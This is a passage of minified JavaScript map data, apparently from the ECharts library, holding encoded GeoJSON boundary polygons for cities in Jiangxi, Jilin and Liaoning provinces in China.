Xb@blnUV"],encodeOffsets:[[116652,27608]]}},{type:"Feature",id:"3611",properties:{name:"上饶市",cp:[117.8613,28.7292],childNum:12},geometry:{type:"Polygon",coordinates:["@@„„@„V‚š„„I°`nm¤²@bVJUVVXUl@Vmb@xV@XbmVVœ@lkLmbn`VbnU‚@Va„UnbVllUXV„a@w°VW@_VWšLššnVlbšLVbnl„KšnVK@IUW@_@am@™‚ÑUólK@U@WU@VwU@UI@aUU‚aXƒƒ@kwmJV@yX@k‚anƒƒ@mkwVmmI@aUU@aUUW@kVkV@@anKš»„XVWnIVUl`@_„W@wlUœV@UWKnU‚bnްInJl„UV@VnI‚b„Wn@VklL@l@Vn²m@U`kI@bWJƒnV@°VXnJm„XVmx@VVL@bkLmWULUmU@ƒbWXb@llnX@‚xkxVV„nVV@¤nL‚nVxnJVXX@˜ššbn`VI„b„@„blmlLnaV@„blWXnlUnbl@„ƒšKVanUVmm_XK@kWWnašU@UnaWUXa›ƒXamUkKmXUWƒLX¯WakKm™nUWwXa@KW_„aXWW_@WnIVl@XU‚LnWVknK@ImyUUÆbXK„Û@W@IÆUnƒVÝlkVK@mUIVwkUVaUm@aVIVyXIƒaÈwmmk@UnanVUmÅaó»lwšW@kkUVmUK@WKLƒUmWULkamK™Lk@Wa@wk@UU@U@mbUIWVKUXWmkUmVm›U@LkakKƒw@w@U™¯ƒ‚ƒUUn¯l@bmn@xkJWxkL@VkI@mƒkmJUI@V@b@VVxnbWlkÈkVƒLƒbkKmVƒL@V@²nxW‚kLUL@xlKVx„bXmVnšWJ@ޙ°@n™xUKUw±`UImVmnU@kalm@akwƒU@UUJmxU@@Uƒ@kU@Um@@Kn™ƒVm@k™KmkU@@WUnkLWxkVUwmKmLkU™bmKUbVŽ@xUnkJ@n±ŽšUxVXUšWJ@LUb™lUnm@ƒW@nknUJUVm@kXllknVbÆK„VVbš¼V„@šUl"],encodeOffsets:[[119194,29751]]}},{type:"Feature",id:"3604",properties:{name:"九江市",cp:[115.4224,29.3774],childNum:12},geometry:{type:"Polygon",coordinates:["@@WUkVUkmaƒVUb@mVUam_nalK@kU›nUWaU@@wna@UVkUWVUUI@a‚±n£m¯_ƒJ™ƒU@ƒƒƒĉ¦Ul@UV™Km™mLlm@ğ¹m`Uk¯@@UVK¯™@UUK@amkmKkVVUa@UkUƒKƒŽUa™L@VVXUJ™@ƒnƒ@™š™WUbƒnVb¯V@LÅlÝIƒJÅkݙm@Ua™WUU@UmUXmmwVUUKWUX±mUam@kWƒzUaVmÇw@aÅLmKXƒ‚UWKkL@W¯IƒwVw™lkUƒJ@Um@ÛÈWށKUxWkƒaUU@KkLVl@„UKUX±KUb@nVVUbUVmaUlUL@„ƒaUL@‚@nUlWzX`@„V@lx²„@Vlb@bšVÞ@°nl@UxVL@lUbVV@n²xVUVmnUÞb‚a„J@IšV°xnbl@nbÆ@VwnK@VnXlK°xnUlVX„V@Vl@L@lk@W_XK@KƒkWxUL@J„nVx@aX@VVUa˜IXlmL@bVVX@VbnK‚a²XVWƒk°a„@UnV¤nbmLmW@XbmJUbVL„aÞK„L@K@U@aVKlbV@nXlJœxV@VnšŽVȚ„ÞKôbźĕČmV@ĊšŽ²xÆIšV@Þ¦ĸ¼ÞVlŽVÞnxln°Jœk‚LXWVUVUVwnJVI@yn@lXlaXmWI@w—»ma@UmK@akKkXmW@_kaWakKWk@@K@IšWƒkUa„ƒ"],encodeOffsets:[[119487,30319]]}},{type:"Feature",id:"3610",properties:{name:"抚州市",cp:[116.4441,27.4933],childNum:11},geometry:{type:"Polygon",coordinates:["@@°V°UnÜ@n@lnLlV@bšV°L„lnLllVzVVXlV„V@@L@xX@WlX„m@UVƒL@V@n„°škVmVUnKlaXxVbšnlU@lVVnaVI@aX@V„šJš@V„@b„b@šVbš‚@X@lUL@Ž@VlIVm@wUVanLšalVnKnLVxlUXwlKVm@k@Una@mWIXKWUÛVƒk@a@UVWn@@kl@@W„XlW@_Um@UVK@a„LnalInWV@@xnI@¥‚K„—šm@kKmƒnk@mlI„¤laXbVblknV@U‚KXVlUXa‚@@Unw@±mU@ak_±a@ƒUJUIƒVKW_Xa@aWU™šK@mmUVa@IXa@UWmšannlmX¯WKXwVUVwƒ@XUlK@klJXa@kƒkmm@Uwƒw@¯ƒW¯kw@WmbULƒaUUU@mVUU™WmkUb™KmkkK@aƒkUƒ¯¥Uƒl—ƒm@akU@mš@KVIVV@KUkUVUkaƒUWb—„mƒIkaVaUU™@mW™„b‚b@bUlkb‚b@n™K@bƒKXVWnULkKUV@LWKknlxXŽVLml@X„Ž@lULUb@xVxVLVlVnUxK@LWlXnmV@x¯X™aWUUK@wVWUkÅçm`@mn@bUx@lmbUnkLÇWm@mšU@Ux@„Æxk¼VxVJ@„nbVlmbUmLklmškVlX@‚VœšV@°Þ"],encodeOffsets:[[118508,28396]]}},{type:"Feature",id:"3609",properties:{name:"宜春市",cp:[115.0159,28.3228],childNum:10},geometry:{type:"Polygon",coordinates:["@@@VlbnK@b@JšLlUnx±ĀXxÆW„X@lš@V„@@blJ@nX@˜xUbVVUbVV@b—VmnmJœ„@bmbm@klUbƒLmbœš@lVb@xUX@bVVVbV¤@LVV„bXlVw‚LXÜÇn@@V„IlVškUx„x°J@XlKXLV„‚WnLÆK@bÈxUnVb„ylXn@Vbn‚W²XV‚LVVUŽnxWnnV@VVVšXVbn@ޚÆl„IÞJÆk@K°UUa„mVa@UUUš»@wV@VƒkkUKUVW£U@UmW@@aXkVUnVlKVV„UUkVmU™@kWaUanU„VVamIX¥W@@aUaUVW@_mW@UnIVVn@VbVm@bVL@anKVUkƒWK„UXV‚Ikx‚@na„bVK„b@nVJ„_V›@Vw„‚VUVVXUlUUaV@X@VblašbnKlkVaXaƒ¯@m@U„KVUn@WƒXkW@@w@KU@UƒWkUUUykkmKƒk¯K™U@akUmK@k@mmÛ¯V¯U@‚ƒL™¼UKmLbU`mL™xVnVb@`—LmUVUUWmb@nU@UWULmU@KnaUUmU„wmJ¯IUJWIkVkaWVUIUlWaUIUVkKmbUIƒÒlVUnnŽ@VlLUJ@bUX¯@ƒaWVUKUXƒKUbm@UwKWa@a@VkUWn™@Uak@mbX„WJXbm@mL—aWVk@™wƒL@WmanU@knwWmkaWL—KWUXaƒU@¥l„UVVVbnwƒ¥nKV™»@aUk@a@UƒJ@kƒmLma™@mbUWnm@ULǺ@LXnmxUŽm@UbkbW@@akLmWk@UXmJmUkV@VUXVlULmKUxkL@lmXnJ@X‚l°Vnb@bU@WbKUX@VmKUX"],encodeOffsets:[[116652,28666]]}},{type:"Feature",id:"3601",properties:{name:"南昌市",cp:[116.0046,28.6633],childNum:6},geometry:{type:"Polygon",coordinates:["@@šXš™„@„mš@VIUW@UšKVb„„LlV@VVbUŽlUnLnl@bVL@V°šUL@V°@Vln_Ġºn@‚knKnššLVU@VkĊ¥Vk@™Uƒ™»UaƒUÅLUalmkklWn@VUVIlm@m„Xn@VmškVa@KXIV™UWVw‚™²@m@U@VK@k@W™Ua@™ƒa@aUƒ™@™IUƒW@@bUJmbUU@kkV™mUaWwkbmLUVUn™lWbUbklmL™akbUaW@U@VbkVWVUUUVƒUx@‚Uœƒ`UI@mƒaULƒamb@lwJWUƒVXLl„UVmL@bUK@aUnUam@UUmJ@VnX@`UXVŽVb@bX@W¦nJUbƒUmVVbXb@lVšUnVlƒVUUkLmUUVWl@bX@VnV@X¤VUVLllU„U@@x™¼VV@V"],encodeOffsets:[[118249,29700]]}},{type:"Feature",id:"3602",properties:{name:"景德镇市",cp:[117.334,29.3225],childNum:3},geometry:{type:"Polygon",coordinates:["@@VVX@Vbmz„xUlU@mbmL@V²xVbUVVblbX@šVškVykValKVI@bn@n`lVWnX@l„L@™WKnƒVIVa@¯nK@alIXJVIVWUw‚ƒn@nU˜„nK@alI@a@anKm_™a—™W@UWmIUwmmK@£UUƒmUUlwwW@km@kWaX„aV@VnVKnXlK@aUK@UnwWUnƒmIUW@¯mU„XI@alJV_n@m±@U@kkKUlm@ƒXamJ@UVUkƒmI¯JmamVXL@V›UkV@xƒX@`k_UVmJUXƒW™¼mL@bU@UllX@VV@bVV@bnJUnlx@n„Žm„b@lWŽ@zU‚nIlx„@W„bVV@bVJV@UxV@@X@VkLVôÒ‚šn@@b@`VX@J"],encodeOffsets:[[119903,30409]]}},{type:"Feature",id:"3603",properties:{name:"萍乡市",cp:[113.9282,27.4823],childNum:4},geometry:{type:"Polygon",coordinates:["@@VWnL@UVW‚LXaV@@ama¯Uk@WmInW@klKVwnLVKUkVW@UlUnVnIVWl@nXlK@bX@laVan@VnwWm@KȹVK¯m@kmU@ƒƒ¥kIğ@WKU¥„@V_VW@_šK@aXKVL@Ul»mWLkU@am™kJƒm@kmU@@a@UmakwU@›„Xlƒ@VXk`UIW¼kWWX@‚œ@l‚xV¦XlW@Ubn„@ŽmUkL@UmJ¯UkUWVUaƒUlm@UXWl„nUJ@LmLU˜nXll@bUVUUmVUn„Ž@¦šxlŽnn@VÆÈU°kbV„VxllnL@VnVVUl@V„„anL"],encodeOffsets:[[116652,28666]]}},{type:"Feature",id:"3606",properties:{name:"鹰潭市",cp:[117.0813,28.2349],childNum:3},geometry:{type:"Polygon",coordinates:["@@@XV@nlšL@lUnš„mŽ@Ln@@VlV„@@VV@nwVI@V„Vlx@bknlbV@nmnUVJ‚_²‚VxVLšw@mš¯@ÝXIm™nUWƒaUwkL@wVKlKXmw@±@U„KnUlL„a„KlUlÇXkmaUw@U@a@Uƒ™UkwUJ@zWJ™w@WbkVWUL@VmUklUaWakbƒ£kJ@nmln„lL@Ž™nƒ˜L@¦mJ@wU@mXkJmbƒK@bUL@VVn@`kXƒW@Xk@@lm@UX@V@b„lÜUXVWLXJ@nmb@V@l"],encodeOffsets:[[119599,29025]]}},{type:"Feature",id:"3605",properties:{name:"新余市",cp:[114.95,27.8174],childNum:2},geometry:{type:"Polygon",coordinates:["@@m@@WULUKWwÅ»ókƒakkWK@bUVUIUamWUbULƒa@KUa@mJUbmUXU™mUamImakKmLUb™VUam@@UL@KƒKm™UUkL@`mIUb™@U„@V@bVl@bš¼UŽmL„¦mxUaUUƒVkŽ@¦„VWbXV˜LXKlbXnmx@lmVnb@X„Kšxl@XU˜bnKn@WaXIWƒnal@Vbš@XmlV@U@bXb‚LVxn@Va„LVWVLXU„b°@VW@aVIkK@UmVmkU„ÑVJnalLVUVJXbVkVJXUlblUXJVI°JnI"],encodeOffsets:[[118182,28542]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/ji_lin_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"2224",properties:{name:"延边朝鲜族自治州",cp:[129.397,43.2587],childNum:8},geometry:{type:"Polygon",coordinates:["@@Wxĵ„mš@„ó¤VX@@xܼƨš²xWxƒV„V@„XVƒ„„„ƒbWšXllaÞU°Ċ„@ô¼„LôÝWanV¥ƒÑnĉ°¥šÅX¥°¯@w°w@»°k£°mÈŹ‚mÈbƃŎ¦„K°z@Žkxl¦UbU¤šššklV„KŤÞȰ@@bšV@nVVUlÞ¦lUllœVlU°ÑU¯Vƒ°w„bXxl@V޲„˜@n„ô¼ƒó°™kmVk²ĕ‚w@wV™ÞÞ@@Ġƒö»˜¯œ@‚„šbnb°mÞ¯°V°„ÈJmX¥mam™UřƒUƒlaU¯™ƒ@w™Kk—l±n@@wƒkÝVUUl±¯I¯b™a™lƒ@™kLmakbƒ@ġƒŹé°™Þb°šékƒƒLm™„wX™‚aÅb@bVlƒbVb—ÒVbUb›UUanwƒakbVŽUV›ak„¯„UŽƒLmxV°UxnôŻX@J„Xkl‚bkbĉaƒbƒWU„ƒ@ƒk„WUU¯@@klmƒ@@™Å@aƒwWXlKkI@WbUaVIUanUƒƒ@ĕƒ¯K™„mUnWUwm@£ċèkUmbUmm@@nkJUalwk@@nmWUan_óaWmnw±KœIƒwl@UmƒI@an@@mlUÅmV_™KUkƒ@U`@_ƒKUmU™@U¯™mmb¯@kb™ImV¯ƒƒLkbƒKƒƒÛ@ÇnɱJóaÝĢkb@„›x—ÒÇllœ@‚޲V‚„ÆUVV„UÇ°X„óxlV¯„lV@bƒV@n—x›@—¤@„șŎnxV¼knšJ‚nšKX°˜¦UlnVbUbÆVnÞWVX¦llšb@l°œVJôÒnLVbšbXŽ"],encodeOffsets:[[131086,44798]]}},{type:"Feature",id:"2202",properties:{name:"吉林市",cp:[126.8372,43.6047],childNum:6},geometry:{type:"Polygon",coordinates:["@@ôl‚zšaÈV°„šK@„mŽ—LWl™nšVxUV‚È@ŽÝĬUÈn‚ôLša‚„²VmĀkV@„ĠĊnU@b„V@b˜@nl°UVnÞaôJ@bš™V„¦mlkššbmVXx¯@Vxm„nbƒ„šbÈK‚V@bÈL„wĠyônšmnbÜ@nn„V˜x@n²K‚„„J@k„al@nxÞU„Lź±Vwkw¯LWWUš™kŎīVwƒw„°y„Vĕ°wÈVlkÛ»@wW@Uô£@ƒn™ĶƒXwW™aUamKóÑUI¯›@k™akkW¥XUmÝÅUVaUa‚mVk—¥W¯™Lm™IlmU»mwȚō@ƒ˜£kJUÇk@am¯y¯UVwƒa@wġx¦ƒKƒƒ¯X°Ċ¯¦U°ċWULÅa±b¯@UkÅWmVƒ™ƒkIUlóŽċ¹™`óIƒlX„WŽXxmbUƒLݏƒbƧ@ƒx¯bƒÈ—l@xƒš¯zƒaݤ@nšm„VWb²bmn¯J¯Ò@n„š"],encodeOffsets:[[128701,44303]]}},{type:"Feature",id:"2208",properties:{name:"白城市",cp:[123.0029,45.2637],childNum:5},geometry:{type:"Polygon",coordinates:["@@ó™ǩŁ@WlwUaƑwÛÅÇéĉamKƒōÇ@Iƒ™ôġVƒȁÑŹçƒ™ÝUƧċĉwóóÝ@Ƒ»ğL¯ll²@ƆÅV@¦m‚Åb@nmlU²VxšlUn™@VbnW„bÇbk҃š„n@èlnlšU҄ްLšx@¼ĉb@҄šUŽċxՃènLVxƒÒƒbÅJ±a@_ÅJÅnƒŽVb„Kl„nUÜĊ@„Uš™xXVÆn„mšVššJÞ¯V™ĠwšƒXw°xWL„x„KV¦ôU„wVÝǬóÞޙ¼‚‚„ÞkŽVôȘxބU„lVn¦ÞšĊa°w„b°@šbÆw„lŤL²`„z°@V@@™nJVnl@@¥nUmmn„@mwnmmUnk@mlwUaƒLnƒ›wn¯°anƒWakI„ƒÇmXwÆamUXUlJXa‚UUklKUknmÞV@‚K@VWÞ@VkUwVƒ"],encodeOffsets:[[127350,46553]]}},{type:"Feature",id:"2207",properties:{name:"松原市",cp:[124.0906,44.7198],childNum:5},geometry:{type:"Polygon",coordinates:["@@„šźèȂÒU„óĢ„š@JŎȄ‚‚LnŽĊbÈêÜÆƒxVbkx@XǪłôš„kÞ`„šW„b@n°ašbšKšnVw°`š_X`W„š¦„ĊIkmVšakw‚K„x°UÞb„U@lšƒl@°¦œVW„šaÞbšxÞI@mVI@ƒVkŚUWK„¥nL‚a@ƒ„@ȍ„@°ƒÆ@nU@KÞalkUwVékUWw„™kU›VkkƒJk¯@»ókƒV¯ÆÇI@bĉô¯@™ķw¯nmmÅL¯wƒVƒUÞy@UówÇLkmm@@UóxkkĉmL¯wVwkWWX™mLõm@kűV_ƒƒô»ÛƒÆ¯@™Va™VšaĠVlmğwķUóÝƽ£ÇJkbǫaƽLW@nxݤkzƒy¯XɅm@VšôÇX¯Ė¯ºÝnUŽnLVlUÔmV"],encodeOffsets:[[126068,45580]]}},{type:"Feature",id:"2201",properties:{name:"长春市",cp:[125.8154,44.2584],childNum:5},geometry:{type:"Polygon",coordinates:["@@„U°xÆKnn°mĸxš°@Ċó@aÈJ°Å„Uôl@¼l°„IllœUlVƒšXxlVUêVxkllnÈUVll@Vx²IÞ¤VUlVnIôlރlwô_„›„bVaĶLXÅÞÇ@K˜¯@wÛaƒçn¥š¯WXyW¯XwƒUmmÛ@ma™nómğzƒxÇK@aUÇL™a„ƒmanƒUw°@WwnU™al™nkƒ¥šU™@aóIÝbUm¯Vmk—@@aƒU@amVğĉ@ƒlUnÿ±Uƒ™bóKmVÇÞī@ÇVUUw‚™šmXk˜Kn@ƒ™L¯ƒÇU™byókōè@b‚n@lÝX@x¯ô@ƙUV_maXm@aóƒJWxnX@ŽVVnĖVnUJ@nōÆÇ¼V¼kxƒLklÝw@xƒx@zV`ÅbmxU±xU„nnm‚kn‚ŽğU™bUŽ‚šUb@šÅ°Ü„󼄄U`Ʋ@lön‚KšnXWlXUx°xnKĊllôw@Vn@lnÈKôx@VÝz„V"],encodeOffsets:[[128262,45940]]}},{type:"Feature",id:"2206",properties:{name:"白山市",cp:[127.2217,42.0941],childNum:5},geometry:{type:"Polygon",coordinates:["@@Ušl¦kÒÆ°„IlÒU¤ôz„¼lJš„U„n‚ÆXVl°@²aÆbVKČXV¯°¥¯ĉ°W„„„L‚¥Ģw@x„bUx°V°zn‚‚b@ÈlVŽlIœ@˜w@m„U@akU°ƒkUôwWƒÈ¯VUƒVUƒÅ±U›@kÈk˜Ñœw@ƒlaÞġƒUÞ£@ƅ‚KnÑ̝@W‚aUaVUVkkw@a¯@¯™Ý™ƒVXnW@@WkXmK@xkKUb@bW@Uw¯„mmb@WKUbmUbUaWbƒJĉIVW@I—l±LkšmU™bUm™@ƒnkKWa¯n™@„`Ubma™„ĉL@bƚ—@W`ƒL@n¯‚Xb‚@kb@x™Lƒ„™@V‚kL±™™mlUIU¥mL@lÅx@_laƒƒ@U—aƒV@kmmƒK„£ƒƒLƒƒmKUnÅKVbmXVlèĉUUbml„ĢŤƒIlޝbǦœl‚@ô¼Ģ„@x°„l¤„n„a„l@x™b"],encodeOffsets:[[129567,43262]]}},{type:"Feature",id:"2205",properties:{name:"通化市",cp:[125.9583,41.8579],childNum:7},geometry:{type:"Polygon",coordinates:["@@ÆlXnĠx̰lȰš„K„°kXm‚@¦Vbk„ŤJšnݤk„VÞVVkȄb°y„™@w˜k„ǰa„wƨ@„aސ„K‚VnaWwXWƒ„kôJš_ČºôVkƒ»óyV£kуJůlÑk¥V™ša@wƒkƒbƒmk£¯ƒ@wġƒó»@›kÈ¥°ak„JÆ£ƒġnkVaĊVkçWUnUaÆLVmnL„„‚KU™±@—„m@a¯U„bmV¯m@_ƒK™™U™ƒaƒÅ™Wó¹ƒ@UanmWak@@wmI@y™@mk„JVa™@UaƒIkJ@n™@Um±kkxƒm™Ik„ƒbÇm@ްbXn„V@ްÈmlÞ¼¯XVº¯Lm„kWWXLmVVlknƒ@@lnWƙ„Vxbmšnšm„¯lÝaVȁè@¼V„„b™„ÆŽ°ÞUVšJ„„kx›I—xƒƒƒIV¤™ÒXxmn"],encodeOffsets:[[128273,43330]]}},{type:"Feature",id:"2203",properties:{name:"四平市",cp:[124.541,43.4894],childNum:5},geometry:{type:"Polygon",coordinates:["@@Ɇn°W„zlyÞ£mwX@ƾKǬblaÈIƾ¤ôÞĸVĠxnmmVƒ²w‚VnwÆaU_@y„w@wÞxlk„KlwU»È»ŎÅ@mVIUmmĕUU@mWXw„Iô‚@bWnnbU`‚šV@Űó@wÞW@km@aŎ烙@m°Ñ°Inm±aXaƒU™n@mƑšU¦@šÇޝaU£šaU™ġ¦ÅҙJōUŻókUÇ@™¥¯ak¯mUVak@@aċçÅaUƒm¦Ý`XbƄ@n`ƒI™xĊÞōÞml@šUb@Wl™_¯JkšÇUÝÆÅb@n™„llUb¯„±a@ƒ—ƒWĉJġ™Unóšm¤œxôaVnƒxôI@x„V@bmƙ„@lnLmޯޙxVb¯þ"],encodeOffsets:[[126293,45124]]}},{type:"Feature",id:"2204",properties:{name:"辽源市",cp:[125.343,42.7643],childNum:3},geometry:{type:"Polygon",coordinates:["@@żôŎVšIÆÑĢ¥Vš™bV¤°bȍ@™V¥ƒ™Þ£lÇUUUÝlƒÞ£™mţIlƒUa@¥nlWƒ¯ƒL¯™kÇġ¯ğwWmÅk¯UƒVU„„bWlXlmnƒbUx¯xVVknlŽUbV„ÇKUb@„™VnbmlnzUº±bmJUbWÈnèm҄š@X`WL"],encodeOffsets:[[127879,44168]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/liao_ning_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"2102",properties:{name:"大连市",cp:[122.2229,39.4409],childNum:5},geometry:{type:"Polygon",coordinates:["@@‚IÞmVk@wXWÜbnwlLnU„@‚nLlbXW@a‚wnbl@XL‚aš@Ċ¥@LULnJ@xVnmV@VXXV@VJkn@VÜKXXôJlb„xl@„IVbnJVLUbn‚lnVw„JVU@ƒXU‚aUUlwn@°ƒn„VKnV°_VJšwl@nwlV„IXWlIVVnK@IWmkIVaVU@WÈUlmU@U„WUalkXġŻ@kIƒ»mm™akUm›ĉUŁV»²ġVĕ@aUU؍IɃ`ȃ@kƒw@ƒUƒmwĉ™@ƒWķсIĉÇbÝLkymbIƒwÇmÛbmbU„¯ÜõÈkÆVbŎxnXVÆnšǪ¦„bš¤Uš™xÝnĉÒmĊVȄ¤Èš„bƼ„Ā„„ÆÆÞ„źb„VVbX„‚°²¤"],encodeOffsets:[[124786,41102]]}},{type:"Feature",id:"2113",properties:{name:"朝阳市",cp:[120.0696,41.4899],childNum:6},geometry:{type:"Polygon",coordinates:["@@na@UVI@m„ÑW™kaV¥UI@wl@„aÈbšm@wVašk„@@K@kƒ™@a@UUmƒUUalmU@KÇUű¯@±kUKVkUaƒaU@¥m@@¯k@WLUmkn@mmIkm@amU@wVmkU@Klk@U—m˜aXIWWUL™aULVbƒmk@UUmUk±™_Uym@mbkImaX¯WW™xWKzU@WƒkJWwkV™@Um@UbVVVVXb@VWX—@WŽ@Vkb@V™nUK±aUUlwX™ÇWKknU@mmUkƒLUVƒVUUVƒUaƒw™bkKmwnIƒ™kJ@nmbƒ`kmVkLWwUm@UUU™K@UmaUa@UUaWK@mUƒ¯Wkk¯VmUUŽ„xVXUVmL¯ymXkWUbmXUKƒVknWx¯JVnkLƒl@VVxnxlĀVL²WlX„l@bÝVUn@bnlÜaXblIVl@šš@Ȧ@VmbXV‚@@x„VVnUn@`°@VnXU@K@„VV@VmbnVn@ln@b„xƒ°Ub@bšLV`Ånƒ„W@@lUšnnWVU@Vbkl@Xl`XxV„UblŽkX@ް¦V„UVVbUlkV›@UbVbkLUxmJkXšš@b‚bœxVKÆlXX˜bnŽnala@ƒUk@U„VVklKVUXKVU°KVan@VUnLšKVL„WVaU_@mmUXa@m˜wXwVkVWXk‚k@›„k@klm@wXKl@U@KVUUUVaUƒV@„alL„xUx@b°°VnnVšxlIXJmx„LUVlV@bnX@Všb„aVx‚@XJ@b‚n@VŽVXȄl@llX@lU„Vô°°@ބVbn@‚V„k„@VW"],encodeOffsets:[[123919,43262]]}},{type:"Feature",id:"2106",properties:{name:"丹东市",cp:[124.541,40.4242],childNum:4},geometry:{type:"Polygon",coordinates:["@@lzXJ‚U@š²x‚@@Vš„@bUVmKUn„°n@lnVK„„nV@n@VlV„°WbXn@‚VzƒJ@¦@bkb‚bUl@bkbƒJ¯zƒWULWbklV„nb™¦VJ@„„K°U„kl@@W„bVn°@„Všm²U˜nX`„UÜLXmVXlKVbUVVnUbn˜ƒX@VUL@lUbWxš@²kl`n@Vlb„@nUVWVLVU@aV@²bl@ÈmšxWX„VÈU„JV„l@„„la„WnX‚KÈkÈ@Va°bÆm„@XV°IVV°UnalƒVUn@UwVU„@@VVJ„I@bl@XK@wWmXU‚UVbkJVXnJVI@mƒknwlKXL@`l@VI@UUaVKÞn„aVm@aÇ£XW„U@aÇUU@mbkKm£™@WW™ƒL@@Kk@kl›U—bWKUkUU¯UõÛƒmUUaVU„U@WU_W@kVkJƒ_WKkV@bUL™¯¯ƒ±mk¯ġƒğÑ@UmwƒKUakƒ™ƒa@a„m¥ÝƒIUWmk@w™mţ—L›KʝbȗKWĢklVbƒX@VV‚knÇV@XUVUblJXn@J"],encodeOffsets:[[126372,40967]]}},{type:"Feature",id:"2112",properties:{name:"铁岭市",cp:[124.2773,42.7423],childNum:7},geometry:{type:"Polygon",coordinates:["@@XJm@¯šmXUlnVbUJƒU@bV@UJWL@VXLmJVbkXlJXxVL@b@V@n@b@`Vbk@lxknV@VV™V@bUL@bV@@bVK@VXLWLXJ@LV@nbWJ@IUV„x@LVJUXVxVx@VV@@LXJWL@VU@@L@VnL@bVVmVX@@VVInJmbnLWVnVULVVU@VVmX@@JVz‚l@„nVVKVXރ@mk_lm„UUWV_nJlUÞÑÞVVUVƒVL„UVJ@I„Vna‚@@KV@XwWknwnKlalU„w„aĉݚwšJl_@aUaƒKUUU@WU@WXUÆ@@UVK@n@UnVVšblK@bœllb@b„bW@Xbl@UlnLl°°bš¦nKlVnI„V@UWU@WXkƒw@am@nm@aVw@I@KUaVIm±XÑlknJVnVJšaX_VaUaVKmwnkmmn@lU@U@mnašXlKUmUIVmklaUK@UlUVUW@U™kVm™a@UUU@JmUU@@bmb—KWV¯XUKm@ka@UVKVk@aUKmLkKUUÝUmbXbÇJ@k@WU_@m™™@klm@UXKVaUI@KWUXaƒÇWk™aWUkWUL±U@lUU@ƒUJƒI@V¯JmIm@@aU@Uwƒa™@UV@VkI›V¯aUkƒWkb@bVL„@@VVVUXW@Uaƒ@@b—‚ÝbUV݄@ŽƒLmUkVUbVllLUV@LššXŽWbUXm@U`@„kxlnnJlbnIllšLX„lVlUXmVK„n‚V@L"],encodeOffsets:[[126720,43572]]}},{type:"Feature",id:"2101",properties:{name:"沈阳市",cp:[123.1238,42.1216],childNum:5},geometry:{type:"Polygon",coordinates:["@@ȚĊܰ„b„L‚lÞxUbUn±‚@ÈnVÆL@xnLšlUVƒbƒxkImJkn@V±LUxkV@bšbšKVKnzVl@L°@Va„xÞUlbôxVVœ@@V±bnŽ@llXL˜ŽöXĶŽnal@nkVJVI@aU@@aVK@ašUUUU@lmkwl@Ua@_@a@m@U@aUKWwkIlWUanIWK@UXKVIU@@a„VVIUa‚mVknW°™n@WI@KUƒmULWnkVkUWƒ™KkkmJkamIkmlw@ƒV_n@VWXaW™™@KVUkKUkValUnV„K@ÞƒVUÞa˜@a„@VbX@VWUU@Uƒ@UK@ala@IkKmUUa@U@ƒVƒkk™WVwU_@KÜUXbl@V¥XUVmƒƒƒXa‚kŃlUUkIm`UIUJW@UIKmkm@UUJƒImmU@ƒVUXU`mIUbUK@LƒJUU™l@Xƒ@UbƒJ™kU@ƒŽn„m@Uam@@ƒ™aUmLKƒwƒ™mWXUK@kUaÇa@JUIUa@aƒKVUƒUXmƒUy™_@lmbkLUKWLX`‚n@bVL@JXL„‚WX@Vnb@Vm@UbnVmL@V@x@LUbVV@V@LƒUVl@mb¯U@xU@UVVV@X@VVblJ@bn„VKUn„x@llnL±¤™b@k`VXÆK@„kV@¼kl@bWIUl@VmLnbm@@JXXmb"],encodeOffsets:[[125359,43139]]}},{type:"Feature",id:"2104",properties:{name:"抚顺市",cp:[124.585,41.8579],childNum:4},geometry:{type:"Polygon",coordinates:["@@„XVl°bœUlJ@UVUš@„bVxV@@bn@nJ°I@U„J‚I„VV@V@k²VVKlXXVšb‚lÈX„ŽWbXV@LVJUbWL@Vkn@lšš@nV`@X@lÈIWanaÞVVVlLnKVL@bUlUL@Vlbn@VL°WXU˜Lna@aV@nV@IVV@VšbUnšl@V‚XnKVa@U„UnyWkXaƒaVk@ašašbnm@_WKXmWanU@alaU—l@XJVLVxX@˜wnKnVlwƒƒ™@V_@a¯¥@UkKWUaUU‚anK@IƒaU@WUaVw@klUVyUUVUUÇ@Iôbša@mnUma@kXa@UWak@Wa—l@a›@WUƒLmU@U`mIUU™`mUk@@UUK±nkJƒbUam@kwm@@a@UU@Ua@@K@ƒVK@kmKU_UKƒUUaĉWmkkL@`™LƒnmlkLkbmK@k™@Ulmb@b™„@Ž„xUVƒIUlmVXXƒxm@™JUUk@WUk@ƒakx±@¯x¯Umb™KUUVmUU¯UmVVn™WkÆ„lWb„„„ŽUnWVU¦k@WaÛV@LV`UxšXllU„@„@VVbnVlL@J"],encodeOffsets:[[126754,42992]]}},{type:"Feature",id:"2114",properties:{name:"葫芦岛市",cp:[120.1575,40.578],childNum:4},geometry:{type:"Polygon",coordinates:["@@ll°X„ŽnV‚@XLVb@VVbnb@VšLVV@VVnXxlKnU‚l„_na@mlI„šmJnxlLša„xVbU„VV„UVU„KVlnnV@lmXLšÈWŽkxVV²bVLšm@Ula@UX˜@XW@UWaUUUUVan@V‚š@lUXxlIX„V@‚yXLšw‚ŽXXW°nblJnan@Vzš`l²nVVVl@„nUaVKšbVKnXVaUaVUšyšnXK@kVK‚@X@m@m‚LXa„LWƒU¯„w@™ƒa@UVw„¥°™ó¯¯y¯ƒUǯ»›w¯Iƒm—¯Ç™UUl™¯»ţKċÑţķm¯w@mU_ómk¼VnU`±IkbVlƒnnŽU¼±Lk`@X™Wl¦UbmVUxkXVlkbllU„Vb@bkVmx@XVV@Jb±aULkKWXkWmX¯aUJmIkVm@ƒxU@n„"],encodeOffsets:[[122097,41575]]}},{type:"Feature",id:"2109",properties:{name:"阜新市",cp:[122.0032,42.2699],childNum:4},geometry:{type:"Polygon",coordinates:["@@šXnb°lš„VlnXVJ„LlVnl@zÆxnK@b„blKVLn@@V„aVLVK@L@Vl@XVVInVVKVwlUXwlKšL„ššVVb@aV@X„lUXbVW@n„lWnXKV@@V@XUVVLUVV@@bVVV@@ln@VbVUXV‚I„xVanJ@UšIVWšL@UV@@¤V@nInw˜W„k„lnIVx‚lnzUVÇJ¦VVÜLĸUnW@aV_šWĊXXa‚Knkl@nm™L™a@alUVw²K@UlmnIlJ„w„aVU™kmK@wÅKmU@DzVmVaÝwkƒKƒaÛ¯șĉķ¥ğ¥ƒ@kUWkƏī݃ƒ@@akU„K@KWIUm¯nƒU¯JmwUV